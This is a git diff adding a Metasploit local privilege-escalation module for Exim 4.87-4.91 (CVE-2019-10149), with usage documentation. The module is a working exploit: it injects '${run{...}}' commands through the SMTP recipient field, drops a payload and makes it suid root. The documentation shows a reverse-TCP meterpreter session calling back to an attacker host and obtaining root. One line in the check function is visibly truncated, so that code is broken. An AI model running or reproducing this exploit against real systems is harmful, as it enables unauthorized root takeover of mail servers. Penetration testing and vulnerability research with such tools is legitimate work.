diff --git a/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md b/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md new file mode 100644 index 0000000000..352d1f269a --- /dev/null +++ b/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md @@ -0,0 +1,90 @@ +# Vulnerable Application + +Exim 4.87 - 4.91 Local Privilege Escalation + +This module exploits a flaw found in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to command execution with root privileges (CVE-2019-10149). + +Both meterpreter shell and classic shell are supported. The exploit will upload the specified `payload`, set the suid bit, and execute it to create a new root session. In order for the new session to be a root one, both `PrependSetuid` and `PrependSetgid` must be set to true (which is the default configuration for the exploit), and the `WritableDir` must be mounted without `nosuid`. + +# Creating A Testing Environment + +You basically just need to have a exim (between 4.87 and 4.91 inclusive) running and listening on a port (port 25 by default). +For my tests, I used a VM with Ubuntu 18.04 LTS and exim 4.89 (I tested all the versions from 4.87 to 4.91). The exim source code can be downloaded from the official website (all the old versions can be found). +You can also use this good Docker image which sets up a container with a vulnerable exim version running (https://github.com/dhn/exploits/tree/master/CVE-2019-10149). +Be careful if you use the exim package from the official repo of your Linux distribution, even if the version is between 4.87 and 4.91, it may still be patched against the vulnerability (it is the case on Ubuntu at least). + +Before using the exploit, make sure exim is actually listening on a port (it may sound stupid, but I struggled a bit when creating a testing environment). However, you should not have any problem if you use the Docker image linked above. + +# Verification Steps + +1. `use exploit/linux/local/exim4_deliver_message_priv_esc` +2. `set SESSION [session]` +3. `set PAYLOAD [payload]` +4. `set LHOST [lhost]` +5. `set LPORT [lport]` +6. `exploit` + +# Options + +## PAYLOAD + +Set this option to choose which type of root session you want to create. + +## EXIMPORT + +The port that exim is listening to. On most cases it will be port 25 (which is the default). + +## ForceExploit + +Force exploit even if the current session is root. + +## SendExpectTimeout + +Timeout per send/expect when communicating with exim. + +## WritableDir + +A directory where we can write files (default is /tmp). + + +# Scenarios + +## Privilege escalation starting with a meterpreter shell + +``` +meterpreter > getuid +Server username: uid=1000, gid=1000, euid=1000, egid=1000 +meterpreter > +Background session 1? [y/N] +msf5 exploit(multi/handler) > use exploit/linux/local/exim4_deliver_message_priv_esc +msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set session 1 +session => 1 +msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set lhost 192.168.0.50 +lhost => 192.168.0.50 +msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set lport 13371 +lport => 13371 +msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set payload linux/x86/meterpreter/reverse_tcp +payload => linux/x86/meterpreter/reverse_tcp +msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set EXIMPATH /usr/exim/bin/exim +EXIMPATH => /usr/exim/bin/exim +msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > check +[*] The target appears to be vulnerable. +msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > exploit + +[*] Started reverse TCP handler on 192.168.0.50:13371 +[*] Payload sent, wait a few seconds... +[*] Sending stage (985320 bytes) to 192.168.0.80 +[*] Meterpreter session 2 opened (192.168.0.50:13371 -> 192.168.0.80:45562) at 2019-07-07 23:46:37 +0100 +[+] Deleted /tmp/eMhzFtUYGQ +[+] Check session 2, you should have a root shell! + +meterpreter > getuid +Server username: uid=0, gid=0, euid=0, egid=0 +meterpreter > sysinfo +Computer : 192.168.0.80 +OS : Ubuntu 18.04 (Linux 4.18.0-25-generic) +Architecture : x64 +BuildTuple : i486-linux-musl +Meterpreter : x86/linux +meterpreter > +``` diff --git a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb new file mode 100644 index 0000000000..eb43ec53da --- /dev/null +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -0,0 +1,261 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'expect' + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Exploit::FileDropper + include Msf::Post::File + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Exim 4.87 - 4.91 Local Privilege Escalation', + 'Description' => %q{ + This module exploits a flaw in Exim versions 4.87 to 4.91 (inclusive). + Improper validation of recipient address in deliver_message() + function in /src/deliver.c may lead to command execution with root privileges + (CVE-2019-10149). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Qualys', # Discovery and PoC (@qualys) + 'Dennis Herrmann', # Working exploit (@dhn) + 'Marco Ivaldi', # Working exploit (@0xdea) + 'Guillaume André' # Metasploit module (@yaumn_) + ], + 'DisclosureDate' => '2019-06-05', + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => + [ + [ + 'Exim 4.87 - 4.91', + lower_version: Gem::Version.new('4.87'), + upper_version: Gem::Version.new('4.91') + ] + ], + 'DefaultOptions' => + { + 'PrependSetgid' => true, + 'PrependSetuid' => true + }, + 'References' => + [ + [ 'CVE', '2019-10149' ], + [ 'EDB', '46996' ], + [ 'URL', 'https://www.openwall.com/lists/oss-security/2019/06/06/1' ] + ] + )) + + register_options( + [ + OptInt.new('EXIMPORT', [ true, 'The port exim is listening to', 25 ]) + ]) + + register_advanced_options( + [ + OptBool.new('ForceExploit', [ false, 'Force exploit even if the current session is root', false ]), + OptFloat.new('SendExpectTimeout', [ true, 'Timeout per send/expect when communicating with exim', 3.5 ]), + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + ]) + end + + def base_dir + datastore['WritableDir'].to_s + end + + def encode_command(cmd) + '\x' + cmd.unpack('H2' * cmd.length).join('\x') + end + + def open_tcp_connection + socket_subsystem = Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client) + params = Rex::Socket::Parameters.new({ + 'PeerHost' => '127.0.0.1', + 'PeerPort' => datastore['EXIMPORT'] + }) + begin + socket = socket_subsystem.create_tcp_client_channel(params) + rescue => e + vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\ + "are you sure exim is listening on this port? (see EXIMPORT)") + raise e + end + return socket_subsystem, socket + end + + def inject_payload(payload) + if session.type == 'meterpreter' + socket_subsystem, socket = open_tcp_connection + + tcp_conversation = { + nil => /220/, + 'helo localhost' => /250/, + "MAIL FROM:<>" => /250/, + "RCPT TO:<${run{#{payload}}}@localhost>" => /250/, + 'DATA' => /354/, + 'Received:' => nil, + '.' => /250/ + } + + begin + tcp_conversation.each do |line, pattern| + Timeout.timeout(datastore['SendExpectTimeout']) do + if line + if line == 'Received:' + for i in (1..31) + socket.puts("#{line} #{i}\n") + end + else + socket.puts("#{line}\n") + end + end + if pattern + socket.expect(pattern) + end + end + end + rescue Rex::ConnectionError => e + fail_with(Failure::Unreachable, e.message) + rescue Timeout::Error + fail_with(Failure::TimeoutExpired, 'SendExpectTimeout maxed out') + ensure + socket.puts("QUIT\n") + socket.close + socket_subsystem.shutdown + end + else + unless cmd_exec("/bin/bash -c 'exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}' "\ + "&& echo true").chomp.to_s == 'true' + fail_with(Failure::NotFound, "Port #{datastore['EXIMPORT']} is closed") + end + + bash_script = %| + #!/bin/bash + + exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']} + read -u 3 && echo $REPLY + echo "helo localhost" >&3 + read -u 3 && echo $REPLY + echo "mail from:<>" >&3 + read -u 3 && echo $REPLY + echo 'rcpt to:<${run{#{payload}}}@localhost>' >&3 + read -u 3 && echo $REPLY + echo "data" >&3 + read -u 3 && echo $REPLY + for i in $(seq 1 30); do + echo 'Received: $i' >&3 + done + echo "." >&3 + read -u 3 && echo $REPLY + echo "quit" >&3 + read -u 3 && echo $REPLY + | + + @bash_script_path = File.join(base_dir, Rex::Text.rand_text_alpha(10)) + write_file(@bash_script_path, bash_script) + register_file_for_cleanup(@bash_script_path) + chmod(@bash_script_path) + cmd_exec("/bin/bash -c \"#{@bash_script_path}\"") + end + + print_status('Payload sent, wait a few seconds...') + Rex.sleep(5) + end + + def check_for_bash + unless command_exists?('/bin/bash') + fail_with(Failure::NotFound, 'bash not found') + end + end + + def on_new_session(session) + super + + if session.type == 'meterpreter' + session.core.use('stdapi') unless session.ext.aliases.include?('stdapi') + session.fs.file.rm(@payload_path) + else + session.shell_command_token("rm -f #{@payload_path}") + end + end + + def check + if session.type == 'meterpreter' + begin + socket_subsystem, socket = open_tcp_connection + rescue + return CheckCode::Safe + end + res = socket.gets + socket.close + socket_subsystem.shutdown + else + check_for_bash + res = cmd_exec("/bin/bash -c 'exec 3= target[:lower_version] && version <= target[:upper_version] + return CheckCode::Appears + else + return CheckCode::Safe + end + end + + CheckCode::Unknown + end + + def exploit + if is_root? + unless datastore['ForceExploit'] + fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.') + end + end + + unless writable?(base_dir) + fail_with(Failure::BadConfig, "#{base_dir} is not writable") + end + + if nosuid?(base_dir) + fail_with(Failure::BadConfig, "#{base_dir} is mounted nosuid") + end + + unless datastore['PrependSetuid'] && datastore['PrependSetgid'] + fail_with(Failure::BadConfig, 'PrependSetuid and PrependSetgid must both be set to true in order ' \ + 'to get root privileges.') + end + + if session.type == 'shell' + check_for_bash + end + + @payload_path = File.join(base_dir, Rex::Text.rand_text_alpha(10)) + write_file(@payload_path, payload.encoded_exe) + register_file_for_cleanup(@payload_path) + inject_payload(encode_command("/bin/sh -c 'chown root #{@payload_path};"\ + "chmod 4755 #{@payload_path}'")) + + unless setuid?(@payload_path) + fail_with(Failure::Unknown, "Couldn't escalate privileges") + end + + cmd_exec("#{@payload_path} & echo ") + end +end